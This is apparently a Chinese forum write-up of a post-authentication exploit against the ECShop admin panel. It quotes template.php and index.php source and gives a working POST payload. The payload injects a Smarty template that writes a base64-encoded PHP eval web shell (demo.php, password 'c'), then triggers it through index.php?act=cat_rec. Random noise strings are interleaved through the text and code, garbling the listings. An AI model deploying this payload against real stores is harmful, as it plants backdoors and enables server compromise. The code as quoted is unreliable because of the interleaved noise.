Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
& S, q* e3 \; G. U
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
% {3 x9 X+ G) s& N+ ?) L0 uadmin/template.php
# e* M+ r  x, J) y% }" ?
4 F7 g# ]9 e# P5 E# n# Y( n1 if ($_REQUEST['act'] == 'update_library')
2 w: Y+ E! I8 f2 B! k- r% C
2   

3 {
: ?/ j5 n1 P5 u0 P
5 n5 ]  n8 V2 J, S/ p4     check_authz_json('library_manage');

& p5 g/ f3 S) \# z9 Q6 Y: a/ b5   

+ o- A! W) \1 ]6 w% H6     $html = stripslashes(json_str_iconv($_POST['html']));
: |- W& }& K0 v% G4 P
( E4 V# _+ ^4 x* V  D7   
  ?5 S. R5 f, K" r5 k) j
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   
$ W! O: B' z% L+ l3 A
. Q. {2 m8 s7 C" t10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

# e/ ^! o! G: D+ [6 I0 B11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
8 e  Q" t% ?/ ~" S2 p
13   
0 R& d# ~' j% h' d1 f9 o
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
+ ~" |1 Z9 [. n/ @# p
15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);

& K8 m0 T- x' E' |  c8 z7 ]. F18     }
) X8 E" d$ Y) H# _8 U+ e* A
4 N7 G0 Q/ R" u; o19     else

20     {

7 K' n" x6 t. Q* i: X$ H21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }
% D/ g2 Q- G( F0 X. t- {) k4 |
1 M3 {" G* S3 D' n1 S7 ]23 }

那么找个比较方便调用了模板的文件
: P- w5 R6 O7 Mindex.php
' r# @: ^0 i6 b$ ~- w
1 if ($act == 'cat_rec')
5 z" ^; ]8 @6 J6 m8 f
  l: J9 o3 Z# T6 I6 K2   

9 O1 K& X5 [6 B, {2 T" g) k) f3 {
$ i# F8 {, |% J8 _
5 i4 B; ^, u5 g& `3 V  K& e4   

5 s+ x, ^; M9 T5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

& j' X8 m: A7 Q; u' a+ |6   
  H' @& B$ x3 ?- m5 g
0 ^7 T9 w  m$ T' V7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   
! w# ]$ Q5 c  S
6 S5 ~8 Q8 s  c- a8 B8 t9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

% ]2 J" j! K- t& [, w' ~: {2 ~11     include_once('includes/cls_json.php');
  Q+ p% ]: u" j/ l, I( t9 {0 N
) t& D3 E- }2 k& j8 l12   
: \' `' U9 r9 v" ?* I+ x+ c* a4 G
13     $json = new JSON;

14   

: p. `/ n" H0 I( c3 I" k6 a, J15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

- m8 i; c7 @# g: k( O17     $children = get_children($cat_id);
1 k3 q# H7 B! z
18   

. v* B; t. P6 f6 R) s: f19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
; K- i8 I7 C3 \' R
# V' O8 K8 M1 D+ K9 O8 C! ^20   
' I# M5 a0 w7 b. z1 P* b
21     $smarty->assign('cat_rec_sign', 1);
6 n8 }9 T. n+ k% m. Q. {) h0 }. x
2 J1 U8 v" K! C: X22   
1 q6 X0 J( O% L7 m  f; f) f/ |5 L
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   
( o' N% _+ z3 a- Y
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

% L7 I( N2 Y6 q26   

27         echo $rec_array[$rec_type];

28   

0 v9 M# `! H( p: [8 S/ n: Y29     die($json->encode($result));

3 J4 z1 h+ h& @# H/ j' T. k30   

31 }

0 A  W$ Z- V' t/ B/ B那么就有利用方法了
2 m( {. M4 a( Q+ jpost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
3 o; p" Z7 H4 K+ W+ Q
, k5 J4 L2 p, J; d; i​
5 x/ @, y3 R2 I7 Y6 K1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec
8 Q# ^& [$ x# h2 E, _) {0 w
3 _5 r& t" h; e2 p/ }7 ~( Nshel地址：http://localhost/ec/demo.php
/ h# J$ f! F* H, O0 U密码c